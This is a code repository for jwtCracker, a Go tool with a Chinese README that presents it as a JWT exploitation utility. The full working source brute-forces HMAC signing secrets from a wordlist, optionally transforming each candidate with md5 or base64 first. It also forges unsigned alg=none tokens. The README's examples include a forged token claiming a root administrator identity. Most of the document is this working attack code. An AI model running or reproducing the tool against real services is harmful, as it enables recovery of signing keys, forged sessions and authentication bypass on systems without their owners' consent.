├── README.md ├── go.mod ├── go.sum ├── jwtCracker.go └── small_jwtkeys.dict /README.md: -------------------------------------------------------------------------------- 1 | # 项目概述 2 | 3 | jwtCracker是一款go语言编写的jwt常见安全问题利用工具,主要功能有: 4 | 5 | 一、暴力破解:目前支持HS256、HS384、HS512加密方式的破解,另外鉴于部分人喜欢把普通密码经过编码后再作为密钥,本程序支持对密钥进行32位md5、16位md5、base64编码后再进行暴力破解 6 | 7 | 二、生成alg=none的jwt token 8 | 9 | 10 | 11 | ## 安装 12 | 13 | ``` 14 | git clone https://github.com/alwaystest18/jwtCracker.git 15 | cd jwtCracker/ 16 | go install 17 | go build jwtCracker.go 18 | ``` 19 | 20 | ## 用法 21 | 22 | ``` 23 | Usage: jwtCracker COMMAND [options] 24 | 25 | encode [generate jwt token(alg=none)] 26 | -pf string 27 | path of payload file 28 | crack [brute force jwt key] 29 | -em string 30 | encryption method of key [none(default), md5, md5_len16, base64] (default "none") 31 | -kf string 32 | path of key file 33 | -tf string 34 | path of token file 35 | ``` 36 | 37 | token文件内容示例 38 | 39 | ``` 40 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.vvmEOcKCp02AUFIthrIAO-TC4XIZr782tiIbzsYyjWY 41 | ``` 42 | 43 | key文件内容示例 44 | 45 | ``` 46 | 123 47 | 48 | 123456 49 | 50 | abc 51 | 52 | ... 53 | ``` 54 | 55 | payload文件示例 56 | 57 | ``` 58 | { 59 | "sub": "1234567890", 60 | "name": "John Doe", 61 | "iat": 1516239022 62 | } 63 | ``` 64 | 65 | 66 | 67 | ### 示例 68 | 69 | 1.根据字典内容暴力破解,token文件与密钥字典文件路径自行替换 70 | 71 | ``` 72 | E:\golang>jwtCracker.exe crack -tf token.txt -kf keys.txt 73 | found key: alwaystest 74 | Execution time:[4.637584s] 75 | E:\golang> 76 | ``` 77 | 78 | 2.对字典的值base64编码后暴力破解 79 | 80 | ``` 81 | E:\golang>jwtCracker.exe crack -tf token.txt -kf keys.txt -em base64 82 | found key: enp6cg== 83 | Execution time:[4.6872635s] 84 | E:\golang> 85 | ``` 86 | 87 | 3.对字典的值md5哈希后暴力破解 88 | 89 | ``` 90 | E:\golang>jwtCracker.exe crack -tf token.txt -kf keys.txt -em md5 91 | found key: 202cb962ac59075b964b07152d234b70 92 | Execution time:[117.999ms] 93 | E:\golang> 94 | ``` 95 | 96 | 4.对字典的值16位md5哈希后暴力破解 97 | 98 | ``` 99 | E:\golang>jwtCracker.exe crack -tf token.txt -kf keys.txt -em md5_len16 100 | found key: ac59075b964b0715 101 | Execution time:[126.4814ms] 102 | E:\golang> 103 | ``` 104 | 105 | 5.生成alg=none的jwt token 106 | 107 | ``` 108 | E:\golang>jwtCracker.exe encode -pf payload.txt 109 | eyJhbGciOiAibm9uZSIsInR5cCI6ICJKV1QifQ.ew0gICJpc3MiOiAiaXNzdXNlciIsDSAgImF1ZCI6ICJhdWRpZW5jZSIsDSAgInRlbmFudF9pZCI6ICIwMDAwMDAiLA0gICJyb2xlX25hbWUiOiAi6LaF57qn566h55CG5ZGYIiwNICAidXNlcl9pZCI6ICIxMDAwIiwNICAicm9sZV9pZCI6ICIxMDAwIiwNICAidXNlcl9uYW1lIjogInJvb3QiLA0gICJkZXRhaWwiOiB7DSAgICAidHlwZSI6ICJ3ZWIiLA0gICAgInN0b3JlX2lkIjogMTUzNTE1NjIxMTc4MTk5NjUwMA0gIH0sDSAgInRva2VuX3R5cGUiOiAiYWNjZXNzX3Rva2VuIiwNICAiYWNjb3VudCI6ICJyb290IiwNICAiY2xpZW50X2lkIjogInNhYmVyIiwNICAiZXhwIjogMTY3NzUxMzY3OSwNICAibmJmIjogMTY3NzM0MDg3OQ19. 110 | 111 | E:\golang> 112 | ``` 113 | 114 | ## 执行时间 115 | 116 | 测试53w行字典,真实密钥放在最后一行,6.3秒即可跑出结果(16G内存 i5的4核cpu主机) 117 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module jwtCracker.go 2 | 3 | go 1.19 4 | 5 | require github.com/golang-jwt/jwt/v5 v5.2.1 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk= 2 | github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= 3 | -------------------------------------------------------------------------------- /jwtCracker.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/md5" 5 | "encoding/base64" 6 | "encoding/hex" 7 | "errors" 8 | "flag" 9 | "fmt" 10 | "io/ioutil" 11 | "os" 12 | "strings" 13 | "time" 14 | 15 | "github.com/golang-jwt/jwt/v5" 16 | ) 17 | 18 | func main() { 19 | 20 | type MyFlagSet struct { 21 | *flag.FlagSet 22 | cmdComment string 23 | } 24 | 25 | //define crack options 26 | crackCmd := &MyFlagSet{ 27 | FlagSet: flag.NewFlagSet("crack", flag.ExitOnError), 28 | cmdComment: "[brute force jwt key]", 29 | } 30 | tf := crackCmd.String("tf", "", "path of token file") 31 | kf := crackCmd.String("kf", "", "path of key file") 32 | em := crackCmd.String("em", "none", "encryption method of key [none(default), md5, md5_len16, base64]") 33 | 34 | //define encode options 35 | encodeCmd := &MyFlagSet{ 36 | FlagSet: flag.NewFlagSet("encode", flag.ExitOnError), 37 | cmdComment: "[generate jwt token(alg=none)]", 38 | } 39 | pf := encodeCmd.String("pf", "", "path of payload file") 40 | 41 | subcommands := map[string]*MyFlagSet{ 42 | crackCmd.Name(): crackCmd, 43 | encodeCmd.Name(): encodeCmd, 44 | } 45 | 46 | //print usage 47 | usage := func() { 48 | fmt.Printf("Usage: jwtCracker COMMAND [options]\n\n") 49 | for _, v := range subcommands { 50 | fmt.Printf("%s %s\n", v.Name(), v.cmdComment) 51 | v.PrintDefaults() 52 | } 53 | os.Exit(2) 54 | } 55 | 56 | //no input subcommands 57 | if len(os.Args) < 3 { 58 | usage() 59 | } 60 | 61 | //check parameters (crack or encode) 62 | cmd := subcommands[os.Args[1]] 63 | if cmd == nil { 64 | usage() 65 | } 66 | 67 | //parse sub-parameters 68 | cmd.Parse(os.Args[2:]) 69 | 70 | if os.Args[1] == "crack" { 71 | start := time.Now() 72 | 73 | //get jwt token from token file 74 | tokenContent, err := ioutil.ReadFile(*tf) 75 | if err != nil { 76 | panic(err) 77 | } 78 | tokenString := string(tokenContent) 79 | 80 | //get secret from key file 81 | keyContent, err := ioutil.ReadFile(*kf) 82 | if err != nil { 83 | panic(err) 84 | } 85 | 86 | encryptMethod := *em 87 | keys := strings.Split(string(keyContent), "\n") 88 | 89 | //brute force keys 90 | for _, key := range keys { 91 | //compatible CRLF 92 | key = strings.Replace(key, "\r", "", -1) 93 | if encryptMethod == "base64" { 94 | key = base64.StdEncoding.EncodeToString([]byte(key)) 95 | } else if encryptMethod == "md5" { 96 | key = EncodeMD5(key) 97 | } else if encryptMethod == "md5_len16" { 98 | key = Encode16MD5(key) 99 | } 100 | //verify token 101 | resultKey := KeyBrute(tokenString, key) 102 | if resultKey != nil { 103 | fmt.Println("found key:", resultKey) 104 | break 105 | } 106 | } 107 | 108 | //print execution time 109 | cost := time.Since(start) 110 | fmt.Printf("Execution time:[%s]", cost) 111 | 112 | } 113 | 114 | if os.Args[1] == "encode" { 115 | payloadContent, err := ioutil.ReadFile(*pf) 116 | if err != nil { 117 | panic(err) 118 | } 119 | 120 | payloadString := strings.Replace(string(payloadContent), "\n", "", -1) 121 | payload := []byte(payloadString) 122 | 123 | noneAlgToken := NoneAlgEncode(payload) 124 | fmt.Println(noneAlgToken) 125 | } 126 | } 127 | 128 | func EncodeMD5(data string) string { 129 | h := md5.New() 130 | h.Write([]byte(data)) 131 | return hex.EncodeToString(h.Sum(nil)) 132 | } 133 | 134 | func Encode16MD5(data string) string { 135 | return EncodeMD5(data)[8:24] 136 | } 137 | 138 | func KeyBrute(tokenString, key string) interface{} { 139 | token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { 140 | return []byte(key), nil 141 | }) 142 | 143 | if token.Valid { 144 | return key 145 | } else if errors.Is(err, jwt.ErrTokenMalformed) { //cancel verification if the token format is incorrect 146 | panic("token is invalid") 147 | } else if !errors.Is(err, jwt.ErrTokenSignatureInvalid) { //If the error does not contain ErrTokenSignatureInvalid, the key is correct 148 | return key 149 | } else { 150 | return nil 151 | } 152 | 153 | } 154 | 155 | func NoneAlgEncode(payload []byte) string { 156 | //avoid padding with "=" when base64 encoding 157 | var RawStdEncoding = base64.StdEncoding.WithPadding(-1) 158 | //define the header of "alg=none" 159 | header := []byte("{\"alg\": \"none\",\"typ\": \"JWT\"}") 160 | //get the header encoded with base64 161 | jwtHeader := RawStdEncoding.EncodeToString(header) 162 | //get the payload encoded with base64 163 | jwtPayload := RawStdEncoding.EncodeToString(payload) 164 | //get the jwt token of "alg=none" 165 | jwtToken := jwtHeader + "." + jwtPayload + "." 166 | 167 | return jwtToken 168 | } 169 | --------------------------------------------------------------------------------